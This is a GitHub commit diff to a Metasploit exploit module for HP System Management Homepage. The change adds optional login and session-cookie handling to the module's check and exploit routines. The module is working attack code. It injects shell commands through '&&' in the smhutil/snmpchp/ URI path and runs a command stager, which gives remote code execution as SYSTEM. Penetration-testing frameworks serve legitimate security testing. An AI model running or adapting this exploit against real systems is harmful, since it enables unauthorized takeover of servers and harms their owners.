Skip to content

Commit 8dfe9b5

Browse files
committed
Add login feature
1 parent ebde05b commit 8dfe9b5

File tree

1 file changed

+85
-4
lines changed

1 file changed

+85
-4
lines changed

modules/exploits/windows/http/hp_sys_mgmt_exec.rb

Lines changed: 85 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,9 @@ def initialize(info={})
2121
supplying a specially crafted HTTP request, it is possible to control the
2222
'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc),
2323
which will be used in a exec() function. This results in arbitrary code execution
24-
under the context of SYSTEM.
24+
under the context of SYSTEM. Please note: In order for the exploit to work, the
25+
victim must enable the 'tftp' command, which is the case by default for systems
26+
such as Windows XP, 2003, etc.
2527
},
2628
'License' => MSF_LICENSE,
2729
'Author' =>
@@ -51,22 +53,48 @@ def initialize(info={})
5153
'Privileged' => false,
5254
'DisclosureDate' => "Jun 11 2013",
5355
'DefaultTarget' => 0))
56+
5457
register_options(
5558
[
56-
Opt::RPORT(2381)
59+
Opt::RPORT(2381),
60+
# USERNAME/PASS may not be necessary, because the anonymous access is possible
61+
OptString.new("USERNAME", [false, 'The username to authenticate as']),
62+
OptString.new("PASSWORD", [false, 'The password to authenticate with'])
5763
], self.class)
5864
end
5965

66+
6067
def peer
6168
"#{rhost}:#{rport}"
6269
end
6370

71+
6472
def check
73+
cookie = ''
74+
75+
if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty?
76+
cookie = login
77+
if cookie.empty?
78+
print_error("#{peer} - Login failed")
79+
return Exploit::CheckCode::Safe
80+
else
81+
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
82+
end
83+
end
84+
6585
sig = Rex::Text.rand_text_alpha(10)
6686
cmd = Rex::Text.uri_encode("echo #{sig}")
6787
uri = normalize_uri("smhutil", "snmpchp/") + "&&#{cmd}&&echo"
6888

69-
res = send_request_raw({'uri' => uri})
89+
req_opts = {}
90+
req_opts['uri'] = uri
91+
if not cookie.empty?
92+
browser_chk = 'HPSMH-browser-check=done for this session'
93+
curl_loc = "curlocation-#{datastore['USERNAME']}="
94+
req_opts['cookie'] = "#{cookie}; #{browser_chk}; #{curl_loc}"
95+
end
96+
97+
res = send_request_raw(req_opts)
7098
if not res
7199
print_error("#{peer} - Connection timed out")
72100
return Exploit::CheckCode::Unknown
@@ -79,18 +107,71 @@ def check
79107
Exploit::CheckCode::Safe
80108
end
81109

110+
111+
def login
112+
username = datastore['USERNAME']
113+
password = datastore['PASSWORD']
114+
115+
cookie = ''
116+
117+
res = send_request_cgi({
118+
'method' => 'POST',
119+
'uri' => '/proxy/ssllogin',
120+
'vars_post' => {
121+
'redirecturl' => '',
122+
'redirectquerystring' => '',
123+
'user' => username,
124+
'password' => password
125+
}
126+
})
127+
128+
if not res
129+
fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out during login")
130+
end
131+
132+
# CpqElm-Login: success
133+
if res.headers['CpqElm-Login'].to_s =~ /success/
134+
cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
135+
end
136+
137+
cookie
138+
end
139+
140+
82141
def setup_stager
83142
execute_cmdstager({ :temp => '.'})
84143
end
85144

145+
86146
def execute_command(cmd, opts={})
87147
# Payload will be: C:\hp\hpsmh\data\htdocs\smhutil
88148
uri = Rex::Text.uri_encode("#{@uri}#{cmd}&&echo")
149+
150+
req_opts = {}
151+
req_opts['uri'] = uri
152+
if not @cookie.empty?
153+
browser_chk = 'HPSMH-browser-check=done for this session'
154+
curl_loc = "curlocation-#{datastore['USERNAME']}="
155+
req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"
156+
end
157+
89158
print_status("#{peer} - Executing: #{cmd}")
90-
res = send_request_raw({'uri' => uri})
159+
res = send_request_raw(req_opts)
91160
end
92161

162+
93163
def exploit
164+
@cookie = ''
165+
166+
if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty?
167+
@cookie = login
168+
if @cookie.empty?
169+
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed")
170+
else
171+
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
172+
end
173+
end
174+
94175
@uri = normalize_uri('smhutil', 'snmpchp/') + "&&"
95176
setup_stager
96177
end

0 commit comments

Comments
 (0)